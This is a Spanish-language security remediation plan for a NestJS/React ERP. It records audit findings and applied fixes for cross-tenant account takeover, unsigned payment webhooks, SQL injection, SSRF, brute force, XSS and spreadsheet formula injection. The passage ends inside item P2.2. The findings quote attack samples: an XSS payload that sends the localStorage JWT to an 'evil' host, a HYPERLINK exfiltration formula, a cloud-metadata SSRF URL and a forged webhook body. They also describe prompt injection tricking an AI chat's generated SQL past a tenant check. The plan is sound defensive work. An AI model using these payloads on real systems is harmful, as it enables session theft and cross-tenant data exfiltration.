# Plan de Remediación — Seguridad, Integridad y Calidad (Agosto 2026)

> **Origen:** auditoría automatizada (skills `security-audit` de Cloudflare, `nestjs-best-practices`,
> `vercel-react-best-practices`, `clean-code`) sobre `novasispy-backend-api` y `novasispy-erp`.
> Cada hallazgo fue verificado leyendo el archivo:línea real. Este plan es la guía de corrección
> priorizada. **No aplicar a ciegas**: cada ítem indica cómo verificar antes de tocar.
>
> **Regla de oro de la auditoría:** solo se listan problemas *explotables con impacto real* (no
> desviaciones teóricas de checklist). Severidad = probabilidad × impacto.

---

## ✅ ESTADO FINAL DEL CICLO (2026-08-04) — 24/26 ítems

| Fase | Hechos | Pendientes |
|------|--------|------------|
| **P0 — Crítico** | ✅ 4/4 (Users guard · Bancard mock+webhook · Tx contables · Bull Board) | — |
| **P1 — Alto** | ✅ 6/6 (IDOR docs · SQLi proveedor · Chat IA RLS · SSRF cartera · Brute-force · XSS impresión) | — |
| **P2 — Medio** | ✅ 5/5 (Formula injection · xlsx CVE · Query limits + gateway Marangatu · DTOs · postMessage) | — |
| **P3 — Integridad** | ✅ 5/6 (Factura post-commit · N+1 tx · Credenciales/logs · SIFEN drop · Limpieza) | ⏸️ **P3.4** controllers→service (mantenibilidad, sin impacto de seguridad) |
| **P4 — Performance** | ✅ 4/5 (Bundle xlsx/recharts · config memo · waterfall caja · FacturasTab) | ⏸️ **P4.2** memo tiles/carrito POS (refactor 6.5k líneas, requiere testeo del POS en vivo) |

**Toda la seguridad (P0–P2) y la integridad crítica están cerradas.** Los 2 pendientes son refactors no-críticos,
diferidos a iteraciones dedicadas por decisión del usuario (2026-08-04).

### ⚠️ Checklist de deploy consolidado
**Backend `.env` prod:**
- `BULL_BOARD_USER` / `BULL_BOARD_PASSWORD` (P0.4 — o `/queues` queda deshabilitado)
- `PANEL_SIFEN_USER=admin` / `PANEL_SIFEN_PASS=12345` (P3.3 — o `loginPanel` falla)
- **NO** setear `BANCARD_MOCK_ENABLED` (P0.2)

**Migraciones (superuser donde aplica):**
- `20260804_ai_rls_tenant_isolation` (P1.3 — RLS del chat IA)
- `20260804_codigos_verificacion_intentos` (P1.5 — contador OTP)

**Ambos repos:** `pnpm install` (toma `xlsx@0.20.3` del CDN). Deploy **coordinado front+back** para el gateway
Marangatu (P2.3). Verificar que el chat IA use el rol `novasis_ai_readonly` (no el fallback superuser) para que
RLS enforce. Smoke test recomendado: creación de factura con ítems repetidos + creación/anulación de remisión (P3.2).

**Verificación global:** backend `tsc --build` = **0 errores**; `eslint` sin errores nuevos por archivo; frontend
`vite build` OK.

---

## Cómo usar este documento

- **Orden de ataque:** seguir las fases (P0 → P3). No mezclar. P0 son riesgos activos en producción.
- **Por cada ítem:** confirmar el código exacto → escribir test/repro cuando aplique → corregir → verificar.
- **Marcado:** `[ ]` pendiente · `[~]` en progreso · `[x]` hecho y verificado.
- **Deploy:** casi todo requiere deploy de backend y/o frontend. Coordinar los que son cross (ej. el
  cliente reintenta factura → segunda factura: front + back).

---

## FASE P0 — Crítico (explotable ahora, riesgo de dinero / cuentas / libros)

### P0.1 — `UsersController` sin control de permisos → toma de cuentas cross-tenant `[x]` ✅ HECHO (2026-08-03)

> **Aplicado:** guards `@RequirePermission('ADMINISTRACION', 'ADM_USR_USUARIO_*')` + `PermissionGuard` a nivel
> clase en `users.controller.ts`. Los endpoints self-service (configurar PIN propio, validar PIN supervisor,
> verificar PIN) quedan solo con `AuthGuard` (los usa el POS con cualquier usuario). En `users.service.ts` se
> agregó aislamiento multi-tenant: helper `resolveActorScope` (superAdmin/holding/reseller = elevado) +
> `assertUsuarioEnAlcance`; `create/findAll/findOne/update/activarDesactivar/remove` fuerzan/validan la empresa
> del actor; `create`/`update` validan que los perfiles asignados sean de la empresa o de sistema.
> **Verificado:** tsc + eslint limpios; en el backup los perfiles admin ya tienen `ADM_USR_*` (no hay lockout).
> **Pendiente de deploy** (backend). Nota rollout: la pantalla de gestión de usuarios (frontend) ya maneja 403;
> confirmar que su ítem de menú esté gateado por `ADM_USR_USUARIO_VER` para no mostrarla a quien no la puede usar.
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivo:** `src/users/users.controller.ts` (todas las rutas), `src/users/users.service.ts` (`update`, `create`, `findAll`).
- **Problema:** las rutas solo tienen `AuthGuard('jwt')`, sin `@RequireModule`/`@RequirePermission`, y el
  service no filtra por `empresa_id` del usuario autenticado.
- **Explotación:**
  - `PUT /users/:id` → resetear contraseña / reasignar perfil de **cualquier** usuario (sin check de empresa).
  - `POST /users` → crear un admin dentro de **otra** empresa (`empresa_id`/`perfiles` vienen del body).
  - `GET /users?empresa_id=X` → enumerar usuarios de cualquier tenant.
- **Fix:**
  1. Agregar `@UseGuards(AuthGuard('jwt'), ModuleGuard, PermissionGuard)` + `@RequireModule('ADMINISTRACION')`
     y `@RequirePermission(...)` por ruta (ver el privilegio de usuarios en el seed de perfiles;
     probablemente `ADM_USR_USUARIO_*`).
  2. En `users.service.ts`: derivar `empresa_id` de `request.user`, **nunca** del body/query. En `update`/`findOne`
     agregar `where: { id, empresa_id: user.empresa_id }`. En `create`, forzar `empresa_id = user.empresa_id`
     (salvo superAdmin/holding que sí pueden crear en otras — replicar el patrón de `switchEmpresa`).
  3. Validar que `perfiles` asignados pertenezcan a la empresa del actor.
- **Verificación:** con un JWT de Empresa A, intentar `GET /users?empresa_id=<B>` y `PUT /users/<id_de_B>` → 403.

### P0.2 — Bancard: pagos falsos sin dinero real `[x]` ✅ HECHO (2026-08-03)

> **Contexto confirmado con el usuario:** el `confirmar-mock` era **solo para demo**, no va a producción.
>
> **Aplicado:**
> 1. **Mock gateado por flag** — `pago-publico.controller.ts` `confirmarMock` ahora responde **404** salvo que
>    `BANCARD_MOCK_ENABLED === true`. Nueva env `BANCARD_MOCK_ENABLED` (joi boolean, **default false**) en
>    `envs.ts` + `.env.example`. En prod (sin el flag) el endpoint deja de existir; sigue disponible para demo.
> 2. **Webhook con verificación de firma** — `bancard-webhook.controller.ts` ahora llama a
>    `bancardService.verifyWebhookSignature(payload, empresaId)` **antes** de responder 200 y antes de cualquier
>    procesamiento/contabilización; si la firma no coincide → log `httpStatus:401` + `UnauthorizedException` (401).
>    `verifyWebhookSignature` (nuevo en `bancard.service.ts`) recomputa el token esperado
>    `md5(private_key + shop_process_id + "confirm" + amount + currency)` usando el **monto/moneda almacenados**
>    del pago (no los del payload, para que no se pueda forjar el importe) y compara con `crypto.timingSafeEqual`.
>    Nuevo helper `generateConfirmationWebhookToken` en `bancard-token.service.ts`.
>
> **Verificado:** `tsc` limpio; `eslint` sin errores nuevos (los 4 de type-assertion en `bancard.service.ts` son
> preexistentes, confirmado con `git stash`). **Pendiente de deploy.**
>
> **Residual (hardening, no bloqueante):** `shop_process_id` sigue siendo secuencial
> (`generateShopProcessId`). Con la firma verificada ya **no** es explotable (forjar el webhook requiere la
> `private_key`), pero conviene migrarlo a no-adivinable más adelante (requiere migración; queda para P2/P3).
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos:** `src/bancard/pago-publico.controller.ts` (endpoint `confirmar-mock`), `BancardMockService`,
  `src/bancard/bancard-webhook.controller.ts:27` (webhook sin firma).
- **Problema:**
  - `POST /pago-publico/:token/confirmar-mock` es público y marca el pago `aprobado` incondicionalmente
    (comentario "reemplazar cuando aprueben presupuesto" — quedó en prod).
  - `POST /bancard/webhook/:empresaId` **no verifica firma**: cualquiera POSTea
    `{"operation":{"shop_process_id":"<id secuencial>","response":"S"}}` y aprueba un pago pendiente →
    dispara asiento contable real.
- **Fix:**
  1. **Quitar** el endpoint `confirmar-mock` del `BancardModule` de producción (o gatearlo tras un flag de
     entorno `BANCARD_MOCK_ENABLED` que esté `false` en prod, y `@RequireModule` + guard).
  2. En el webhook: implementar verificación de firma de Bancard (`token = md5(private_key + shop_process_id + ...)`
     según su doc vPOS) + rechazar si no coincide. Usar el **webhook de novasis-pay como referencia** — ese sí
     tiene HMAC-SHA256 + `timingSafeEqual` + idempotencia por event-id.
  3. `shop_process_id` debe ser **no adivinable** (UUID/random), no secuencial.
- **Verificación:** POST al webhook con firma inválida → 401. Sin `confirmar-mock` en prod (404).

### P0.3 — Transacciones falsas en integración contable → libros corruptos `[x]` ✅ HECHO (2026-08-03)

> **Aplicado:** en `integracion.service.ts` los 8 `$transaction(async () => {...})` sin `tx` (líneas 583, 903,
> 976, 1490, 1997, 2070, 2133, 2195) ahora usan `async (tx) => {...}`, con `tx.cont_documentos.create(...)` y
> `tx` pasado como 5º arg a `asientos.crearConfirmado(...)`. `crearConfirmado` ya soportaba `tx?:
> Prisma.TransactionClient` (`db = tx ?? this.prisma`), así que el documento y el asiento ahora se crean en la
> **misma** transacción → un throw entre ambos hace rollback (no queda `cont_documentos` CONFIRMADO huérfano).
> Los otros 9 bloques del archivo ya estaban correctos. **Verificado:** `tsc` limpio; `eslint` sin errores nuevos
> (los 9 preexistentes de type-assertion/unused-var no fueron introducidos por este cambio); `git diff` = solo
> las 8 conversiones. **Pendiente de deploy** (backend). Recomendado además: query de auditoría en prod para
> detectar `cont_documentos` CONFIRMADO sin `cont_asientos` de períodos recientes (documentos ya corrompidos por
> el bug previo).
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivo:** `src/contabilidad/services/integracion.service.ts` — líneas **582, 903, 976, 1490, 1997, 2070, 2133, 2195**.
- **Problema:** `this.prisma.$transaction(async () => { ... })` **sin parámetro `tx`**; adentro llama a
  `this.prisma.cont_documentos.create(...)` y `this.asientos.crearConfirmado(...)` con el cliente normal
  (no transaccional). El wrapper `$transaction` **no envuelve nada** → un crash a mitad deja un documento
  `CONFIRMADO` sin asiento asociado (flujos: importación, cobro de cliente, pago a proveedor, pago Bancard,
  devengo/pago de comisiones).
- **Nota:** el patrón **correcto existe en el mismo archivo** (líneas 159, 247, 387, 491, 830...), o sea es una
  regresión de copy-paste, no diseño.
- **Fix:** cambiar a `async (tx) => { ... }` y pasar `tx` a `cont_documentos.create` y como 5º arg de
  `crearConfirmado`. Revisar los 8 sitios.
- **Verificación:** test que fuerce un throw entre el `create` del documento y el asiento → confirmar rollback
  (no queda documento huérfano). Query de auditoría: `cont_documentos` sin `cont_asientos` correspondiente en
  el período reciente.

### P0.4 — Bull Board `/queues` sin auth filtra códigos OTP `[x]` ✅ HECHO (2026-08-03)

> **Aplicado:**
> 1. **`main.ts`** — `/queues` ahora se monta condicionalmente y detrás de basic-auth. Reglas: con
>    `BULL_BOARD_USER`+`BULL_BOARD_PASSWORD` → montado con basic-auth (comparación `crypto.timingSafeEqual`,
>    longitud-checked, header `WWW-Authenticate`); en **producción sin** credenciales → **NO se monta** (default
>    seguro, evita exposición por olvido de config); en dev sin credenciales → montado abierto (conveniencia). Log
>    de arranque indica el estado.
> 2. **`envs.ts`** — nuevas env vars opcionales `BULL_BOARD_USER` / `BULL_BOARD_PASSWORD` (validadas con joi) +
>    `.env.example` documentado.
> 3. **`queues.service.ts`** — aviso de seguridad en `sendVerificationEmail`: el único caller que encolaba el OTP
>    en texto plano está **comentado** hoy (el OTP se envía directo vía `NotificacionesService`, no pasa por la
>    cola), así que **no hay OTP en crudo en la cola actualmente**. El comentario advierte que, si se reactiva, se
>    encole solo `{ codigoId, email }` y el processor lea el código de DB (defensa en profundidad).
>
> **Verificado:** `tsc` + `eslint` limpios en `main.ts`, `envs.ts`, `queues.service.ts`. **Pendiente de deploy** +
> setear `BULL_BOARD_USER`/`BULL_BOARD_PASSWORD` en el `.env` de prod (si se quiere el panel accesible; si no, no
> configurarlas y queda deshabilitado).
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos:** `src/main.ts:44-56` (monta `/queues` sin guard), `src/**/codigos-verificacion.service.ts`
  (encola el código de 6 dígitos como job data).
- **Explotación:** cualquiera navega a `/queues`, ve los jobs (activos/fallidos) y lee códigos de verificación
  válidos → bypass de 2FA / verificación de email.
- **Fix:**
  1. Gatear `/queues` tras auth (basic-auth con credenciales de entorno, o restringir por IP/red interna, o
     detrás del reverse proxy con auth). Como mínimo, deshabilitar en prod si no se usa.
  2. **No encolar el código OTP en crudo** en el job data — encolar solo el `id`/destinatario y que el
     processor lo genere/lea de DB; o cifrarlo.
- **Verificación:** `GET /queues` sin auth → 401. Job data sin el código en texto plano.

---

## FASE P1 — Alto (fuga de datos / inyección, requiere usuario autenticado)

### P1.1 — IDOR cross-tenant en documentos financieros `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** se agregó filtro `empresa_id` (del JWT) a los reads por ID que no lo tenían:
> - `facturas.service.ts` `findOne(id, empresa_id)` → `findFirst({ where: { id, empresa_id } })` (+ controller
>   pasa `user.empresa_id`).
> - `nota-creditos.service.ts` `findOne(id, empresa_id)` → idem (+ controller).
> - `cobros.service.ts`: `findOne`, `generateReciboPdf`, `getReciboPrintData`→`buildReciboPayload` (los 3 reads de
>   `recibos_cobro`) ahora reciben y filtran por `empresa_id`; también `getCuentasCobrarByCliente` (endpoint
>   `/cobros/cuentas-cobrar/por-cliente/:clienteId`, que tenía `@GetUser` sin usar). Los 3 endpoints del controller
>   ahora pasan `user.empresa_id`; el caller interno (`findOne` tras crear recibo) usa el `empresaId` en scope.
>
> Los `findOne` ya lanzaban `NotFoundException` cuando el registro es null → el acceso cross-tenant ahora devuelve
> 404 automáticamente.
>
> **Auditoría extendida (remisiones, presupuestos, gastos, compras):** ya tenían `findOne(id, empresa_id)` con
> filtro — sin cambios necesarios (consistente con la sección "Lo que ya está bien").
>
> **Verificado:** `tsc` limpio en los 3 módulos; controllers sin errores eslint; en los services el conteo de lint
> se mantiene (19 baseline = 19 ahora, todos preexistentes). **Pendiente de deploy.**
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos/líneas:** `facturas.service.ts:2563` (`GET /facturas/:id` + `/pdf` + `/print-data`),
  `nota-creditos.service.ts:1007` (`GET /nota-creditos/:id`), `cobros.service.ts:691/4085/4386`
  (`GET /cobros/:id`, `/cobros/cuentas-cobrar/por-cliente/:clienteId`).
- **Problema:** fetch por ID **sin filtro `empresa_id`** en el service. Un usuario con permiso de "ver" normal,
  que obtenga un UUID de otra empresa (ej. vía P0.1), lee facturas/recibos ajenos.
- **Fix:** agregar `empresa_id: user.empresa_id` al `where` de cada `findUnique`/`findFirst`. Auditar TODOS los
  endpoints `:id` de documentos (extender el grep a remisiones, presupuestos, órdenes, gastos).
- **Verificación:** con JWT de A, `GET /facturas/<id_de_B>` → 404/403.

### P1.2 — SQL injection en reportes de proveedor `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** en `reportes-proveedor.service.ts` los dos `depositoFilter` que concatenaban
> `'${params.deposito_id}'::uuid` en `$queryRawUnsafe` (métodos `vencidos` y `stockMarcas`) ahora usan un
> **parámetro vinculado**: se arma `queryArgs[]` y el filtro referencia `$${queryArgs.length}::uuid`, pasando
> `...queryArgs` a `$queryRawUnsafe`. Postgres castea el valor como UUID (error si es inválido) sin posibilidad de
> inyección.
>
> **Revisado además:** el tercer `$queryRawUnsafe` (`ventasPorMarca`) usa `$1..$4` para todos los inputs y su
> `${preferenteFilter}` es una **constante** (deriva de un boolean, sin input de usuario) → seguro. El resto de
> las queries del archivo son `$queryRaw` (tagged template, parametrizado). `empresa_id`/`proveedor_id` provienen
> del JWT y se validan con `getProveedorOrFail`.
>
> **Verificado:** `tsc` limpio; `eslint` 0 errores (baseline 0 = ahora 0). **Pendiente de deploy.**
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivo:** `src/reportes-proveedor/reportes-proveedor.service.ts:73, 165`.
- **Problema:** `deposito_id` de un `@Query()` sin validar se concatena en `$queryRawUnsafe`
  (`... deposito_id = '${params.deposito_id}'::uuid`). Explotable con un permiso de reporte estándar.
- **Fix:** usar `Prisma.sql` con parámetros (`$queryRaw` template) o validar `deposito_id` como UUID
  (`class-validator @IsUUID`) en un DTO antes de llegar al service. Preferir parámetros vinculados siempre.
- **Verificación:** pasar `deposito_id=' OR '1'='1` → error de validación, no ejecución.

### P1.3 — Chat IA: aislamiento por substring, no filtro real `[x]` ✅ HECHO (2026-08-04) — opción A (RLS)

> **Aplicado (Row Level Security en Postgres):**
> 1. **Migración** `20260804_ai_rls_tenant_isolation/migration.sql`: un `DO` block habilita RLS en TODAS las
>    tablas de `public` con columna `empresa_id` y crea la policy `ai_tenant_isolation` **solo** para el rol
>    `novasis_ai_readonly`: `USING (empresa_id = current_setting('app.empresa_id', true)::uuid)`. **Fail-closed**:
>    sin el GUC seteado, `current_setting(...,true)` = NULL → 0 filas. La app principal (`postgres` superusuario)
>    **bypassa RLS** → no se ve afectada (documentado; si el rol de app no fuese superuser, darle `BYPASSRLS`).
> 2. **`AiReadonlyDbService.runTenantScoped(empresaId, query, ...args)`**: corre la consulta dentro de un
>    `$transaction` y setea `set_config('app.empresa_id', $1, true)` (transaction-local, misma conexión) **antes**
>    de ejecutar → la policy RLS filtra cada tabla.
> 3. **`chat.service._ejecutarConTimeout`** ahora usa `runTenantScoped` en vez de `$queryRawUnsafe` directo.
>
> Resultado: aunque el LLM (vía prompt injection) genere SQL sin `WHERE empresa_id = $1` o con `EMPRESA_ID` en un
> comentario, la DB **no** devuelve filas de otro tenant. El binding de `$1` y el check de substring se mantienen
> como defensa en profundidad.
>
> **Pendientes/notas:**
> - ⚠️ **Migración a aplicar en deploy** (requiere superuser). No se corrió local (`.env` → backup `novasisprod`
>   read-only). RLS solo enforcea cuando el chat usa el rol read-only (no el fallback superuser).
> - La migración cubre tablas existentes; tablas nuevas con `empresa_id` deben re-aplicar el bloque.
> - Follow-up opcional (punto 3 del hallazgo): allow-list explícita de tablas/columnas consultables.
>
> **Verificado:** `tsc` + `eslint` limpios en `ai-readonly.service.ts`; `chat.service.ts` sin errores nuevos.
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivo:** `src/ai-dashboard/chat/chat.service.ts:502`.
- **Problema:** valida el SQL generado por el LLM comprobando que aparezca el **texto** `EMPRESA_ID` en algún
  lado, y luego lo ejecuta con `$queryRawUnsafe` contra la DB multi-tenant. Prompt injection
  (ej. pedir `SELECT * FROM factura_cab /* empresa_id */`) satisface el check y devuelve datos de **todas** las
  empresas. Ya existe el usuario `novasis_ai_readonly` (read-only) — pero read-only no impide leer *otras*
  empresas.
- **Fix (defensa en capas):**
  1. No confiar en el LLM para el aislamiento. Inyectar el filtro `empresa_id = $1` de forma **programática**
     (envolver la query del LLM como subquery con un `WHERE empresa_id = <actor>` forzado, o usar vistas/RLS
     de Postgres con `SET app.empresa_id`).
  2. Ideal: **Row Level Security** en Postgres por `empresa_id` para el rol `novasis_ai_readonly`, de modo que
     ninguna query pueda salirse del tenant aunque el SQL sea malicioso.
  3. Allow-list de tablas/columnas consultables.
- **Verificación:** prompt adversarial pidiendo datos de otra empresa → 0 filas de otros tenants.

### P1.4 — SSRF en webhooks de Cartera `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** nuevo `cartera/webhooks/webhook-url.util.ts` con:
> - `isPrivateOrReservedIp(ip)` — detecta rangos v4/v6 privados/reservados/loopback/link-local (incl.
>   `169.254.0.0/16` metadata, `10/8`, `172.16/12`, `192.168/16`, CGNAT, `::1`, `fe80::`, `fc00::/7`, IPv4-mapped).
> - `assertSafeWebhookUrl(url)` (config-time, sync) — solo http(s); loopback permitido **solo fuera de
>   producción**; fuera de loopback exige **HTTPS**; IP literal privada/reservada → `BadRequestException`.
>   Reemplaza el check de substring `!url.includes('localhost')` (que evadía `http://169.254.169.254/?x=localhost`).
> - `assertResolvesToPublicHost(url)` (fetch-time, async) — re-valida y **resuelve DNS**, rechazando si cualquier
>   IP resuelta es privada (anti DNS-rebinding y cubre URLs guardadas antes del fix).
>
> Wireado en `webhook.controller.ts` (`crear` **y** `actualizar` — este último antes no validaba nada) y en
> `webhook.processor.ts` justo antes del `fetch`. Un endpoint que apunte a IP interna se rechaza al crear/editar y,
> si ya estaba guardado, falla en el delivery sin llegar a hacer la request.
>
> **Nota exfiltración:** el `last_error` (que sí se expone en `GET /deliveries`) incluye ~200 chars del body en
> respuestas no-2xx; al bloquear el destino interno, ya no hay fuga de datos internos por esa vía.
>
> **Verificado:** `tsc` + `eslint` limpios en los 3 archivos. **Pendiente de deploy.**
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos:** `src/cartera/webhooks/webhook.controller.ts:57` (validación), `webhook.processor.ts:68` (fetch).
- **Problema:** `if (url.startsWith('http://') && !url.includes('localhost'))` es un check de **substring**, no de
  hostname → `http://169.254.169.254/?x=localhost` lo evade. El server hace `fetch(url)` y expone los primeros
  200 chars de la respuesta vía `GET /webhooks/deliveries` → SSRF con exfiltración (metadata de la nube, red interna).
- **Fix:**
  1. Parsear la URL (`new URL()`), validar `hostname` contra allow-list o bloquear IPs privadas/link-local
     (`169.254.0.0/16`, `10/8`, `127/8`, `192.168/16`, `::1`, etc.) resolviendo el DNS.
  2. Idealmente exigir HTTPS y dominios públicos.
  3. No exponer el cuerpo de la respuesta del webhook al usuario (o sanitizar/truncar sin contenido sensible).
- **Verificación:** configurar webhook a `http://169.254.169.254` → rechazado.

### P1.5 — Sin protección brute-force (OTP + login) `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** se instaló `@nestjs/throttler@6.4.0` (vía **pnpm**, el gestor del repo) y se registró
> `ThrottlerModule.forRoot` en `app.module.ts` con default 30/min y **`errorMessage` en español** (429 le explica
> al usuario el motivo). **No** se registró como guard global — se aplica selectivamente para **no** afectar la alta
> frecuencia del POS:
> - Login (`auth.controller`): `@Throttle 5/min` + `@UseGuards(AppTokenGuard, ThrottlerGuard)`.
> - OTP verificar (`codigos-verificacion.controller`): `@Throttle 10/min`.
> - OTP enviar-codigo: `@Throttle 5/min` (anti-spam SMS/email).
> - Pagos públicos (`pago-publico.controller`, sin JWT): `@Throttle 20/min` a nivel controller.
>
> **Contador de intentos por OTP** (defensa independiente de IP): nueva columna
> `codigos_verificacion.intentos` (schema + migración `20260804_codigos_verificacion_intentos/migration.sql`, aditiva
> `ADD COLUMN IF NOT EXISTS ... DEFAULT 0`). En `verificar`, cada código incorrecto incrementa `intentos` y al
> llegar a `MAX_INTENTOS_OTP = 5` marca `usado = true` (invalida el código) con mensaje claro. Se reordenó la
> validación para chequear expiración antes y no filtrar por qué falló.
>
> **Almacenamiento:** in-memory (por instancia). Para multi-instancia, migrar a storage Redis compartido
> (`@nest-lab/throttler-storage-redis`) — anotado como follow-up.
>
> ⚠️ **Migración pendiente de aplicar en deploy:** `prisma/migrations/20260804_codigos_verificacion_intentos/migration.sql`. NO se
> ejecutó localmente porque el `.env` apunta al backup `novasisprod` (read-only). `prisma generate` sí se corrió
> (client al día).
>
> **Verificado:** `tsc` + `eslint` limpios en todos los archivos tocados. **Pendiente de deploy** (+ migración).
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos:** `codigos-verificacion.service.ts` (`verificar()`), `auth.service.ts` (`login()`).
  `@nestjs/throttler` **no está configurado** en ningún lado.
- **Problema:** OTP de 6 dígitos (900k combinaciones, 10 min de expiry) sin contador de intentos → fuerza bruta
  viable. Login sin lockout.
- **Fix:**
  1. Configurar `ThrottlerModule` global + `@Throttle` en login, verificación OTP, y endpoints públicos
     (pago-publico, store-public).
  2. Contador de intentos por OTP: invalidar el código tras N intentos fallidos.
  3. Lockout progresivo / captcha tras N logins fallidos por IP+usuario.
- **Verificación:** 20 intentos de OTP → bloqueado antes de agotar el espacio.

### P1.6 — XSS por `document.write` en impresión/PDF (frontend) → robo de JWT `[x]` ✅ HECHO (2026-08-04)

> **Aplicado (repo `novasispy-erp`):** nuevo helper compartido `src/components/_standards/html.js` →
> `escapeHtml(value)` (escapa `& < > " '`), exportado desde el barrel `_standards`. Aplicado a **todo** valor de
> entidad interpolado antes del `document.write`:
> - `inventario/InventarioFisicoTab.jsx` `imprimirPlanilla`: `p.cod_producto`, `p.descripcion`, `deposito`,
>   `categoria`, `fecha`.
> - `conciliacionIa/exportUtils.js` `descargarPDF`: `nombre_cuenta` (title + h1), `banco`, `periodo_desde/hasta`,
>   `moneda`, y por fila `fecha`/`concepto`/`tipo`. (Los montos pasan por `fmtMoneda` y los KPIs son numéricos →
>   no requieren escape.)
>
> Ahora un producto/concepto con payload `<img src=x onerror=...>` se imprime como texto literal, no ejecuta →
> se corta el robo de JWT del localStorage.
>
> **Verificado:** `eslint` limpio en `html.js`/`exportUtils.js`; en `InventarioFisicoTab.jsx` el conteo de lint se
> mantiene (preexistentes de prop-types, ninguno en las líneas tocadas). **Pendiente de deploy (frontend).**
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Archivos:** `novasispy-erp/src/components/inventario/InventarioFisicoTab.jsx:102-143`
  (`imprimirPlanilla`, sink en :143), `novasispy-erp/src/components/conciliacionIa/exportUtils.js:57-98`
  (`descargarPDF`, sink en :102).
- **Problema:** interpola datos de entidad **sin escapar** (`descripcion`, `cod_producto`, `deposito`,
  `categoria`, conceptos) en HTML y lo escribe en una ventana same-origin (`window.open("")` +
  `document.write`). Un usuario pone en `descripcion` de un producto
  `<img src=x onerror="fetch('//evil/?t='+localStorage.access_token)">`; al imprimir la planilla, el script
  corre en el origen de la app y **roba el JWT del localStorage** → toma de sesión dentro del tenant.
- **Fix:** función `escapeHtml()` aplicada a **todo** valor interpolado antes del `document.write`, o construir
  el DOM con `textContent`. Crear un helper compartido en `_standards` y usarlo en ambos.
- **Verificación:** producto con `descripcion` = payload XSS → imprimir → el texto se muestra literal, no ejecuta.

---

## FASE P2 — Medio (DoS, deps vulnerables, hardening con impacto)

### P2.1 — Formula injection en exports Excel/CSV (frontend) `[x]` ✅ HECHO (2026-08-04)

> **Aplicado (repo `novasispy-erp`):** nuevo helper compartido `src/components/_standards/xlsxSafe.js` con
> `sanitizeCell(v)` (antepone `'` si el texto empieza con `= + - @ \t \r`), `sanitizeRecords(data)` (para
> `json_to_sheet`) y `sanitizeRows(rows)` (para `aoa_to_sheet`); exportados desde el barrel `_standards`.
> - **33 archivos con XLSX**: se envolvió la data en cada `json_to_sheet(...)`/`aoa_to_sheet(...)` con
>   `sanitizeRecords`/`sanitizeRows` (incluye ClientesListConfig, tesorería, StockTab, RRHH legajos, cobranzas,
>   RecibosPanel/Multi, Presupuestos, FacturasTab, RemisionesTab y todos los reportes de `pages/` y `views/cobranzas/`,
>   incl. los 4 de esta sesión: ReporteVentas/Productos/Rentabilidad/VentasClientes).
> - **8 builders CSV manuales** (`AuditoriaLogs`, `DashboardEjecutivo`, `CuentasPagar`, Reportes Libro IVA /
>   Movimientos Caja / Movimientos Stock / Niveles Stock): cada fila de datos pasa por `.map(sanitizeCell)` antes
>   del `join`.
> - **`conciliacionIa/exportUtils.js`** (CSV): `sanitizeCell` dentro de su `esc` (el escape de comillas no evitaba
>   la fórmula).
>
> Resultado: un cliente con `razon_social = =HYPERLINK(...)` se exporta como texto (`'=HYPERLINK...`), no se
> evalúa como fórmula en Excel/Sheets.
>
> **Falsos positivos descartados:** `cobranzas.service.js` (descarga un CSV generado por el backend),
> `PlanillasExternasTab`/`ImportarCarteraPage` (importan/suben archivos, no exportan).
>
> **Verificado:** `eslint` sin errores de parsing/import/undefined en los ~42 archivos tocados. **Pendiente de
> deploy (frontend).**
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Alcance:** **cero sanitización** en todo `src/`. Afecta: `ClientesListConfig.jsx:406`,
  `tesoreria/TesMovimientosTab.jsx:109`, `TesTranferenciasTab.jsx:69`, `TesReportesTab.jsx:76`,
  `TesExtractoView.jsx:59`, `StockTab.jsx:305`, `rrhh/legajos/LegajosDashboardTab.jsx:170`,
  `cobranzas/DetalleMensualExportDialog.jsx:144`, `conciliacionIa/exportUtils.js:23` (CSV), **y los exports que
  agregamos esta sesión** (`ReporteVentas`, `ReporteProductos`, `ReporteRentabilidad`, `ReporteVentasClientes`).
- **Problema:** una celda cuyo valor de usuario empieza con `= + - @` (ej. `razon_social`, dirección, concepto)
  se ejecuta como fórmula al abrir en Excel/Sheets → `=HYPERLINK("http://evil/?x="&A1,...)` exfiltra datos.
- **Fix:** helper único `sanitizeCell(v)` que, si `String(v)` empieza con `= + - @ \t \r`, le antepone `'`.
  Aplicarlo en TODAS las builders (json_to_sheet/aoa_to_sheet/CSV). Ideal: un wrapper compartido en `_standards`
  (ej. `xlsxSafe.js`) que todos los reportes usen.
- **Verificación:** cliente con `razon_social` = `=1+1` → export → celda muestra `=1+1` como texto.

### P2.2 — Dependencia `xlsx@0.18.5` con CVEs (ReDoS / prototype pollution) `[x]` ✅ HECHO (2026-08-04)

> **Aplicado:** migrado a la **build oficial de SheetJS** (npm quedó deprecado/sin parche) en ambos repos:
> `xlsx` → `https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz` (backend y frontend, vía pnpm). Corrige
> **CVE-2023-30533** (prototype pollution) y **CVE-2024-22363** (ReDoS), ambos parcheados en ≥0.20.2. La API es
> retrocompatible (`utils.json_to_sheet/aoa_to_sheet/book_new/book_append_sheet/write*`) → sin cambios de código.
> - Backend (15 archivos, incl. importadores de gastos/cartera/RRHH que parsean archivos subidos): `tsc` build =
>   0 errores. Los importadores **ya** tienen límite `fileSize: 10MB` en multer (`FileInterceptor`) → validación de
>   tamaño ya cubierta.
> - Frontend (~40 archivos de export): `vite build` OK (con heap ampliado; el OOM previo es por el tamaño del
>   bundle — ver P4.1, no por el upgrade).
>
> **Verificado:** tsc backend limpio; build frontend exitoso. **Pendiente de deploy** (ambos repos → `pnpm install`
> tomará el nuevo tarball).
>
> _Descripción original del hallazgo abajo (para referencia)._

- **Alcance:** parsea archivos **subidos por el usuario** en `gastos-importador` y `cartera/importador` (backend),
  y se usa en el frontend para exports.
